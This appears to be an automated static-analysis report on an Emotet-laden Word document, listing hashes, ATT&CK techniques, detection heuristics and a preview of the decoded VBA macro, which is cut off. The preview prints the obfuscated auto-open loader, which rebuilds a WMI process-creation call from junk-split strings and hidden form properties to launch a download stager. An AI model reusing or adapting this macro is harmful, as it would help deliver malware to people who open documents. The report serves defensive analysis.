Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 05fdfb096bfe54f0…

MALICIOUS

Office (OLE)

230.3 KB Created: 2020-08-10 18:54:00 Authoring application: Microsoft Office Word First seen: 2020-09-15
MD5: df4d259a3ef334481e15603f22733be1 SHA-1: 36f928bbac209d6cbe503b10af623921565cef74 SHA-256: 05fdfb096bfe54f0bd2abd84e8143b8378f289838c61d7d1ec4efa141b2045f4
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The file contains VBA macros, including a Document_Open auto-execution macro, and uses CreateObject to instantiate objects. Critical heuristics indicate a hidden UserForm command stager, a common Emotet technique. The ClamAV detection explicitly names Emotet. The VBA script appears to be obfuscated but its structure suggests it is designed to download and execute a second-stage payload.

Heuristics 7

  • ClamAV: Doc.Malware.Emotet-9262467-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emotet-9262467-1
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4835 bytes
SHA-256: 971db4264c7c8b9b0ae67f4074e44da741f56020491b3f7d4d988fe8b202172e
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "GJNMUcelkltglowjzqv"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
OQIIYwjqzsrpqkg.QHGAFnyyhqbkidisxn
End Sub


Attribute VB_Name = "OQIIYwjqzsrpqkg"
Attribute VB_Base = "0{95BA12B6-EFF0-4C34-AF2F-CC33BF8D3A9C}{39764C88-F8EB-45B3-B140-A770D4F998C7}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function QHGAFnyyhqbkidisxn()
Dim bnIC7BXFP As Integer
bnIC7BXFP = Len("k3ßiBgT8Ö")
Dim ql4ÍkHo As Integer
ql4ÍkHo = 1
Do While ql4ÍkHo < 1 + 3
ql4ÍkHo = ql4ÍkHo + 7: DoEvents
Loop
Dim VnTGhD As Integer
VnTGhD = 6
Do While VnTGhD < 6 + 9
VnTGhD = VnTGhD + 6: DoEvents
Loop
HSLIAedblpjuf = Chr(OQIIYwjqzsrpqkg.Zoom + ((30 + 60 + 30) / (4 + 4)))
Dim EWsakgGped As Integer
EWsakgGped = 1
Do While EWsakgGped < 1 + 4
EWsakgGped = EWsakgGped + 9: DoEvents
Loop
XWNSNwzaqichibfnjzc = "7892HJGgghjgJH%789H h&219yhuid2d7892HJGgghjgJH%789H h&219yhuid2dw7892HJGgghjgJH%789H h&219yhuid2di7892HJGgghjgJH%789H h&219yhuid2dnm7892HJGgghjgJH%789H h&219yhuid2d7892HJGgghjgJH%789H h&219yhuid2dgm7892HJGgghjgJH%789H h&219yhuid2dt7892HJGgghjgJH%789H h&219yhuid2d7892HJGgghjgJH%789H h&219yhuid2d" + HSLIAedblpjuf + "7892HJGgghjgJH%789H h&219yhuid2d7892HJGgghjgJH%789H h&219yhuid2d:7892HJGgghjgJH%789H h&219yhuid2dw7892HJGgghjgJH%789H h&219yhuid2din7892HJGgghjgJH%789H h&219yhuid2d7892HJGgghjgJH%789H h&219yhuid2d37892HJGgghjgJH%789H h&219yhuid2d27892HJGgghjgJH%789H h&219yhuid2d_7892HJGgghjgJH%789H h&219yhuid2d" + OQIIYwjqzsrpqkg.ILXPSvkybrveslxjrz + "7892HJGgghjgJH%789H h&219yhuid2dro7892HJGgghjgJH%789H h&219yhuid2d7892HJGgghjgJH%789H h&219yhuid2dce7892HJGgghjgJH%789H h&219yhuid2ds7892HJGgghjgJH%789H h&219yhuid2ds7892HJGgghjgJH%789H h&219yhuid2d"
Dim t5àCoPkgj As Integer
t5àCoPkgj = 4
Do While t5àCoPkgj < 4 + 6
t5àCoPkgj = t5àCoPkgj + 7: DoEvents
Loop
AYCGHxgpdpojqpo = WEDODuugrmxcm(XWNSNwzaqichibfnjzc)
Dim pibFblq As String
Set BHYGIwlruwzpqkwcfp = CreateObject(AYCGHxgpdpojqpo)
Dim WGu8ÍyhtN As Integer
WGu8ÍyhtN = Len("OVnLrCFgBv")
ZHITEfykmtmwz = OQIIYwjqzsrpqkg.HRXXZyhmaqkxvbvzku.ControlTipText
Dim lqrqsHrC As Object
EVCXBwrrovncy = kljiqbbn2m + (AYCGHxgpdpojqpo + HSLIAedblpjuf + OQIIYwjqzsrpqkg.TYOCUtosythvwl.ControlTipText + ZHITEfykmtmwz)
Dim Z4Öf As Object
XUTFJjxzgavkgm = EVCXBwrrovncy + OQIIYwjqzsrpqkg.ILXPSvkybrveslxjrz
Dim Br1ÚYapZkp As Integer
Br1ÚYapZkp = Len("BoYNMC")
Set WZNLGkzwuvaqpkfotci = NGOASeyyxkwka(XUTFJjxzgavkgm)
Dim Q7Ìl8ÉD0Êau As Boolean
pos76 = Array(dccv21s + "nnsk ioqy hhdq hdioqe", BHYGIwlruwzpqkwcfp. _
Create(VYTEPxtnnflroffd, QQTXQvukchkmbroit, WZNLGkzwuvaqpkfotci), vkq37y + "klq whuiqguiq ggqj")
Dim GpnGklo As Integer
GpnGklo = Len("dhL8ÇZ5ß")
End Function
Function NGOASeyyxkwka(GHTSAosooskaet)
Set NGOASeyyxkwka = CreateObject(GHTSAosooskaet)
Dim TZagwF As Currency
NGOASeyyxkwka. _
showwindow = VZJHXseryojmcgjrwr + WUHIKbooipqvypxo + IISATzxgaqee
Dim EWCoPkgjbA As Integer
EWCoPkgjbA = Len("jWG")
End Function
Function WEDODuugrmxcm(FKVNFpoiqkedqaivnjr)
RQVMZjtpvmjkr = FKVNFpoiqkedqaivnjr
Dim moR7ÒWhdDBb As Integer
moR7ÒWhdDBb = 6
Do While moR7ÒWhdDBb < 6 + 5
moR7ÒWhdDBb = moR7ÒWhdDBb + 6: DoEvents
Loop
ABUJDnzrvqrzeabliz = Split _
(RQVMZjtpvmjkr, "7892HJGgghjgJH%789H h&219yhuid2d")
Dim aVXl As Integer
aVXl = 7
Do While aVXl < 7 + 5
aVXl = aVXl + 8: DoEvents
Loop
XGLYXzxcdidqyvzxue = mmm2 + Join(ABUJDnzrvqrzeabliz, ooo3)
Dim yeECcb As Integer
yeECcb = Len("rdoJD")
WEDODuugrmxcm = XGLYXzxcdidqyvzxue
Dim GZwfTDr7â As Integer
GZwfTDr7â = 6
Do While GZwfTDr7â < 6 + 5
GZwfTDr7â = GZwfTDr7â + 6: DoEvents
Loop
End Function
Function VYTEPxtnnflroffd()
Dim HC0ËhElyrR As Integer
HC0ËhElyrR = 5
Do While HC0ËhElyrR < 5 + 3
HC0ËhElyrR = HC0ËhElyrR + 9: Do
... (truncated)